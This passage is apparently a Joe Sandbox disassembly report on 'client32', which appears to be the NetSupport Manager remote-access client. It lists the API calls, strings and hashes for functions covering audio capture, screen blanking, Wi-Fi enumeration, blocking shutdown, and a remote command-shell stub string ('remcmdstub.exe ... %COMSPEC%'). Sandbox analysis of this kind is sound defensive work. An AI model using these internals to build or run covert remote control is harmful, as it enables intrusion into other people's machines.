Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$EventInformation$Create$Close_memset$ResetTokenVersionwsprintf
String ID: CloseHandle_1$D$remcmdstub.exe %u %u %u %u %%COMSPEC%%
API String ID: 3301782102-1870880251
Opcode ID: 99f25927b6cb76179c42b9a4f734931d8e8205977da96904174c65bee3cf05ba
Instruction ID: 9498dede17ae523b820893f7966d078463fb7189cb60d919b27b44eccd4d473b
Opcode Fuzzy Hash: 99f25927b6cb76179c42b9a4f734931d8e8205977da96904174c65bee3cf05ba
Instruction Fuzzy Hash: C8516675A41328ABEB51CF98CC85FEAB7B9EB48B04F004099F718E72C4E6B16940CF55

Function 11121100 Relevance: 24.8, APIs: 4, Strings: 10, Instructions: 270threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0000001C), ref: 1112117E
GetCurrentThreadId.KERNEL32 ref: 111211B5
GlobalAddAtomA.KERNEL32(NSMRemote32), ref: 111213AA
GetVersionExA.KERNEL32(?,?,?,00000000), ref: 111213D3

Strings

View, xrefs: 1112120F, 1112130F, 111213F7, 1112140B, 11121425, 11121443, 1112146F, 11121483
ScaleToFitTilingFactor, xrefs: 11121420
MaxLag, xrefs: 1112143E
ShowBigBlits, xrefs: 111213F2
Show, xrefs: 11121376
IgnoreScrape, xrefs: 1112146A
LimitColorbits, xrefs: 11121201
ScaleToFitMode, xrefs: 11121406
LegacyScrape, xrefs: 1112147E
NSMRemote32, xrefs: 111213A5

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomCriticalCurrentGlobalInitializeSectionThreadVersion
String ID: IgnoreScrape$LegacyScrape$LimitColorbits$MaxLag$NSMRemote32$ScaleToFitMode$ScaleToFitTilingFactor$Show$ShowBigBlits$View
API String ID: 3042533059-2538903574
Opcode ID: fbf171a93a064c4978fa1075158420c735f9f0bd711a0402550495a255e203ec
Instruction ID: eb6122d518b0ca6329e0510ddbb3154fc8dc97cf8e450e1036336aff3cebea76
Opcode Fuzzy Hash: fbf171a93a064c4978fa1075158420c735f9f0bd711a0402550495a255e203ec
Instruction Fuzzy Hash: 59B18CB8A00705AFD760CF65CD84B9BFBF5AF85704F20856EE55A9B280DB30A940CF51

Function 11041550 Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 202processCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110416EC
wsprintfA.USER32 ref: 1104171E
wsprintfA.USER32 ref: 11041769
_memset.LIBCMT ref: 11041776
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 110417AE
CloseHandle.KERNEL32(?), ref: 110417C5
CloseHandle.KERNEL32(?), ref: 110417CE

Part of subcall function 11094E70: LoadLibraryA.KERNEL32(USER32,?,?,110077D5), ref: 11094E79
Part of subcall function 11094E70: GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 11094E8D
Part of subcall function 11094E70: GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 11094E9A
Part of subcall function 11094E70: GetProcAddress.KERNEL32(?,EnumDisplayDevicesA), ref: 11094EA7
Part of subcall function 11094E70: GetProcAddress.KERNEL32(?,MonitorFromRect), ref: 11094EB4
Part of subcall function 11094E70: _memset.LIBCMT ref: 11094EC4

Part of subcall function 11094DC0: SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 11094DDD

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

Part of subcall function 11015410: GlobalAddAtomA.KERNEL32(NSMIdentifyWnd), ref: 11015426

Strings

RandomSelect, xrefs: 11041603
%sSounds\%s, xrefs: 110416BC, 110416DA
%s %s, xrefs: 11041763
StudentPicked.wav, xrefs: 110416CA
StudentSelected.wav, xrefs: 110416AC
%sPlaySound.exe, xrefs: 11041718
D, xrefs: 110417A4

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProcwsprintf$_memset$CloseHandle$AtomCreateGlobalInfoLibraryLoadParametersProcessSystem
String ID: %s %s$%sPlaySound.exe$%sSounds\%s$D$RandomSelect$StudentPicked.wav$StudentSelected.wav
API String ID: 2679228845-3892444432
Opcode ID: b3725c502d2789fe40fbb26aadf6588f8ed80d9f12081c1d57b9f8c917426c69
Instruction ID: 9c2d6cc32ef246ace46494575b6d7f0e632273de9197a299b6468622a4a2010b
Opcode Fuzzy Hash: b3725c502d2789fe40fbb26aadf6588f8ed80d9f12081c1d57b9f8c917426c69
Instruction Fuzzy Hash: 0A7187B5E4021E6BEB15DB50DC81FDEB7B8AB04718F1041D9E619A71C0EA70BB44CFA5

Function 1100B330 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

EnterCriticalSection.KERNEL32(?,Audio,DisableSounds,00000000,00000000,DC70C1FE), ref: 1100B3BB
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000), ref: 1100B3D8
_calloc.LIBCMT ref: 1100B409
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 1100B42F
LeaveCriticalSection.KERNEL32(?), ref: 1100B469

Part of subcall function 1100AC60: EnterCriticalSection.KERNEL32(?,DC70C1FE), ref: 1100ACA4
Part of subcall function 1100AC60: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100ACC2
Part of subcall function 1100AC60: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100AD0E
Part of subcall function 1100AC60: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100AD55
Part of subcall function 1100AC60: CloseHandle.KERNEL32(00000000), ref: 1100AD5C
Part of subcall function 1100AC60: _free.LIBCMT ref: 1100AD73
Part of subcall function 1100AC60: FreeLibrary.KERNEL32(?), ref: 1100AD8B
Part of subcall function 1100AC60: LeaveCriticalSection.KERNEL32(?), ref: 1100AD95

LeaveCriticalSection.KERNEL32(?), ref: 1100B48E

Strings

Vista AddAudioCapEvtListener(%p), xrefs: 1100B513
\\.\NSAudioFilter, xrefs: 1100B3D0
Audio, xrefs: 1100B367
DisableSounds, xrefs: 1100B362
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B4E3
Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B53C
InitCaptureSounds NT6, xrefs: 1100B4AE
Vista new pAudioCap=%p, xrefs: 1100B4F3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressCloseEventExchangeFileFreeHandleInterlockedLoadProc__wcstoi64_calloc_free
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 2005284756-2362500394
Opcode ID: 468a98825e6ecaf41637e70a12cbb5276a994fc9f2f6755cccd56cc7ed43126d
Instruction ID: 13704de1d539ef30c3066c3cc5484e22fa9722ec6e344ec07ec17af159e95cc0
Opcode Fuzzy Hash: 468a98825e6ecaf41637e70a12cbb5276a994fc9f2f6755cccd56cc7ed43126d
Instruction Fuzzy Hash: A951D8B5E04A4AAFE714CF64DC80BAEF7E8FB04359F10467EE92993640E731765087A1

Function 110F5510 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 158windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

ShowCursor.USER32(00000000), ref: 110F55DD
OpenEventA.KERNEL32(00100000,00000000,NSBlankExit), ref: 110F55EE
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,?,000000BF), ref: 110F5614
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F5633
TranslateMessage.USER32(?), ref: 110F5644
DispatchMessageA.USER32(?), ref: 110F564D
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000BF), ref: 110F5661
CloseHandle.KERNEL32(?), ref: 110F5674
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F568C
TranslateMessage.USER32(?), ref: 110F56A7
DispatchMessageA.USER32(?), ref: 110F56B0
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F56BF
ShowCursor.USER32(00000001), ref: 110F56CD

Strings

NSBlankExit, xrefs: 110F55E3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CursorDispatchMultipleObjectsShowTranslateWait$CloseEventHandleOpen_memsetwsprintf
String ID: NSBlankExit
API String ID: 3602634875-773372720
Opcode ID: e68260c3a4de123fa72860ee07f86da7e712f847a20bfc2a252c0d5c7a084281
Instruction ID: 5ec7c1be67ca2a78862dc13c18a8ec745b66933f059b542a1e0c74ee0f1129a0
Opcode Fuzzy Hash: e68260c3a4de123fa72860ee07f86da7e712f847a20bfc2a252c0d5c7a084281
Instruction Fuzzy Hash: 68513E76E4132EABDB10DF608C85FEDB7B8AB48704F1005A9E615D7184EB75AA40CF91

Function 11103110 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110313E
EnterCriticalSection.KERNEL32(111EC5C4), ref: 11103147
GetTickCount.KERNEL32 ref: 1110314D
GetTickCount.KERNEL32 ref: 111031A0
LeaveCriticalSection.KERNEL32(111EC5C4), ref: 111031A9
GetTickCount.KERNEL32 ref: 111031DA
LeaveCriticalSection.KERNEL32(111EC5C4), ref: 111031E3
EnterCriticalSection.KERNEL32(111EC5C4), ref: 1110320C
LeaveCriticalSection.KERNEL32(111EC5C4,00000000,?,00000000), ref: 111032D3

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

Part of subcall function 110EEA50: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,11103277,?), ref: 110EEA7B

Strings

Warning. simap lock held for %d ms, xrefs: 111031B9, 111031F3
Warning. took %d ms to get simap lock, xrefs: 11103159
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 1110318E, 11103243, 11103289
psi, xrefs: 11103193, 11103248, 1110328E
info. new psi(%d) = %x, xrefs: 111032C1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 3572004736-3013461081
Opcode ID: 2b14e68d4533465ca6ede4850a325a27a31b967f1298800cdcf78ff7dd429e77
Instruction ID: 751a9e08e7d07462896511fc241fa3711dcdedb17ea13ac702f7fc28ec4d2028
Opcode Fuzzy Hash: 2b14e68d4533465ca6ede4850a325a27a31b967f1298800cdcf78ff7dd429e77
Instruction Fuzzy Hash: 9441F67AF04519AFCB11DFE59C85EEEFBB5AB44218B104525F905E7640EB306900CBA1

Function 1103B020 Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 140sleepwindowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1103B15F
Sleep.KERNEL32(000001F4), ref: 1103B1A4
PostMessageA.USER32(00010486,00000010,00000000,00000000), ref: 1103B1CF

Strings

DisableLogoff, xrefs: 1103B05A, 1103B0D0, 1103B18A
AssertOnReboot, xrefs: 1103B102
FALSE || !"assertOnReboot", xrefs: 1103B122
Client, xrefs: 1103B05F, 1103B07C, 1103B099, 1103B0D5, 1103B18F
DisablePowerOff, xrefs: 1103B077
sd - Post WM_CLOSE to %08x, xrefs: 1103B1B6
GPFOnReboot, xrefs: 1103B133
DisableReboot, xrefs: 1103B094
_debug, xrefs: 1103B107, 1103B138
CLTCONN.CPP, xrefs: 1103B11D
DisableShutDown, xrefs: 1103B173

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountMessagePostSleepTick
String ID: AssertOnReboot$CLTCONN.CPP$Client$DisableLogoff$DisablePowerOff$DisableReboot$DisableShutDown$FALSE || !"assertOnReboot"$GPFOnReboot$_debug$sd - Post WM_CLOSE to %08x
API String ID: 507213284-4185502373
Opcode ID: edb7ba95a0dbe671a8f45536223d8c402f036747e014dfae0fdba634982649ab
Instruction ID: f79ec28786b2f4c10a59bc50768d7a54d57fb70274f002d705909bb0de105b61
Opcode Fuzzy Hash: edb7ba95a0dbe671a8f45536223d8c402f036747e014dfae0fdba634982649ab
Instruction Fuzzy Hash: 12412934F4065EBEE721CA529C85FBDB795ABC0B0DF5040A5FE247E2C0EB60B4408355

Function 11047600 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137processwindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11047686
WinExec.KERNEL32(?,00000001), ref: 110476FF
CloseHandle.KERNEL32(?), ref: 11047721
CloseHandle.KERNEL32(?), ref: 1104772A
IsWindow.USER32(00000000), ref: 1104773C
GetLastError.KERNEL32 ref: 11047767
IsWindow.USER32(00000000), ref: 11047799
PostMessageA.USER32(00000000,00000010,00000000,00000000), ref: 110477AA

Part of subcall function 11141240: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 111412AD
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,?), ref: 111412EE
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114134B

Strings

ShowVideo, xrefs: 11047691
Failed to load player (%d), xrefs: 1104776E
D, xrefs: 11047696
pcivideovi.exe /X, xrefs: 1104764D
PCIVideoSlave32, xrefs: 11047746
DoShowVideo - could not find %s window, xrefs: 1104774B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseFolderHandlePathWindow$ErrorExecFileLastMessageModuleNamePost_memset
String ID: D$DoShowVideo - could not find %s window$Failed to load player (%d)$PCIVideoSlave32$ShowVideo$pcivideovi.exe /X
API String ID: 2703108677-1914331637
Opcode ID: a57ee4519ba703a8f2e25a1a0736491b333c6b6e3063ed72018daf3d53b2fb4f
Instruction ID: df49324dfe2f9645e9d9c5157b9fa2fe22eceb11b85c8ea02f295c7466daf7be
Opcode Fuzzy Hash: a57ee4519ba703a8f2e25a1a0736491b333c6b6e3063ed72018daf3d53b2fb4f
Instruction Fuzzy Hash: 0F41A734A0062E9FD710DF64DC85FEDB7E5AF48709F1080A5ED199B281EB71A984CB91

Function 11157010 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

LoadLibraryA.KERNEL32(wlanapi.dll,?,11057147), ref: 1115705B
GetProcAddress.KERNEL32(00000000,WlanOpenHandle), ref: 11157074
GetProcAddress.KERNEL32(?,WlanCloseHandle), ref: 11157084
GetProcAddress.KERNEL32(?,WlanEnumInterfaces), ref: 11157094
GetProcAddress.KERNEL32(?,WlanGetAvailableNetworkList), ref: 111570A4
GetProcAddress.KERNEL32(?,WlanFreeMemory), ref: 111570B4
std::exception::exception.LIBCMT ref: 111570CD
__CxxThrowException@8.LIBCMT ref: 111570E2

Strings

WlanFreeMemory, xrefs: 111570AE
WlanCloseHandle, xrefs: 1115707E
WlanGetAvailableNetworkList, xrefs: 1115709E
WlanOpenHandle, xrefs: 1115706E
WlanEnumInterfaces, xrefs: 1115708E
wlanapi.dll, xrefs: 11157053

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
